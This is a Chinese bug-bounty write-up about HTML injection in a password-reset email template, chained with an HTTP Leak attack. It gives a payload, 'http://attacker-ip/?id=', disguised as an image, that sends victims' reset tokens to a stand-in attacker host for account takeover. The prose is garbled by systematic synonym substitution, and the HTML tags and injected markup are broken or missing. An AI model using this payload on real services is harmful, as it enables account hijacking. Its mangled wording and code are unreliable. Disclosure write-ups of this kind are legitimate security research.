本文共享的是,作者在参加某次缝隙约请测验项目中,发现方针使用服务的暗码重置恳求存在HTML注入缝隙(HTML injection),经过进一步的HTTP Leak进犯结构,获取到账户的暗码重置Token,以此直接完成恣意账户绑架。(出于保密准则,文中触及到的方针使用服务用app.com替代)。
暗码重置恳求中的HTML注入
在针对方针使用服务的暗码重置功用测验过程中,我发现在服务端和我的重置暗码测验账户之间存在以下POST恳求,即它会自意向重置暗码的用户邮箱发送以下邮件,提示用户点击相应的重置链接[RESET LINK]去修正暗码,该恳求是一个HTML邮件格局:
仔细看,能够发现,其间的emailBody运用的是模板款式,所以,接下来,咱们就来看看这儿它能不能被使用,能否向其间注入一些东西。因而,我在其间刺进了一个标签内容,如下:
这样一来,在我的重置暗码测验用户邮箱中,收到了以下邮件,留意看,在我新增加的click之后,是暗码重置需求点击的暗码修正链接,也便是POST恳求中的[RESET-LINK]:
很明显,方针使用服务未对HTML邮件模板的用户输入做安全过滤,导致emailBody米素可被进犯者操控,这是一种典型的HTML注入缝隙。但在这儿,能发生什么影响呢? 此刻,我忽然想到了HTTP Leak进犯办法,能够用这种办法来看看是否存在相关的信息走漏,或许能在其间获取到对应账户的暗码重置Token。
HTTP Leak进犯简介
当时Web技能下包含了许多HTML米素和特点,这些HTML米素和特点会恳求一些外部资源,而在它们的HTTP恳求过程中,或许存在潜在的灵敏信息走漏。为此,德国闻名网络安全公司Cure53建议了名为HTTP Leaks的进犯办法研讨项目(项目拜见Github -HttpLeaks),其进犯办法意图在于,枚举出各类HTTP恳求中或许存在的信息走漏问题。
别的,某些场景下,还能使用HTTP Leak绕过CSP防护机制,如@filedescriptor的《CSP 2019》,以及@intidc大神的《HTML injection can lead to data theft》。
就比方,在HTTP恳求触及的一些HTML邮件格局中,假如存在HTTP Leak问题,那么,能够使用它来知道收信人是否翻开或许阅读了邮件;还有一些Web署理东西,它们宣称能够用“匿名”的办法去拜访某些网站,但一些HTML米素或特点的重写过程中,就会触及到外部资源的HTTP恳求,假如这其间存在信息走漏问题,那么,其宣称的“匿名”维护也就无从谈起了。
结构HTTP Leak进犯Payload
在此,咱们需求了解HTML邮件格局模板(可点此查看Email Templates),其间的暗码重置恳求模板如下:
---
Subject: Retrieve your password on {{ settings.businessAddress.company }}.
---
html>
head>
head>
body style="font-family: Arial; font-size: 12px;">
div>
p>
You have requested a password reset, please follow the link below to reset your password.
p>
p>
Please ignore this email if you did not request a password change.
p>
p>
a href="{{ RESET-LINK }}">
Follow this link to reset your password.
a>
p>
div>
body>
html>
结合前述暗码重置恳求的HTML邮件格局注入缝隙,咱们能够在[RESE-TLINK]之前刺进以下格局的Payload:
http://attacker-ip/?id=
留意看,这种刺进终究就形成了:
http://attacker-ip/?id=“{{ RESET-LINK }}”
其间,榜首对双引号的闭合区间 “http://attacker-ip/?id=“ 成为了终究的暗码重置点击链接,也便是说,受害者收到暗码重置恳求邮件后,他点击的暗码重置链接将会是进犯者操控的网站http://attacker-ip/,这样一来,方针使用发生的暗码重置token就会发送到进犯者操控的网站http://attacker-ip/。
这儿,因为刺进的http://attacker-ip/?id= 伪装成一张图片米素,所以,实际上,只需受害者翻开暗码重置恳求邮件,不需求点击其间的重置链接,当邮件体建议图片加载时,就能主动恳求进犯者网站,完成暗码重置token向http://attacker-ip/的发送,如下:
缝隙影响
获得了其他账户的暗码重置token,那么就能够直接操作,完成对其他账户的绑架了。现在,就从我的测验来看,除Gmail 和Yahoo外,有许多干流的邮件服务商大多都存在这种HTML注入+HTTP Leak的问题,从防护层面来说,需求对HTML邮件模板的用户可输入和修改功用进行安全过滤查看。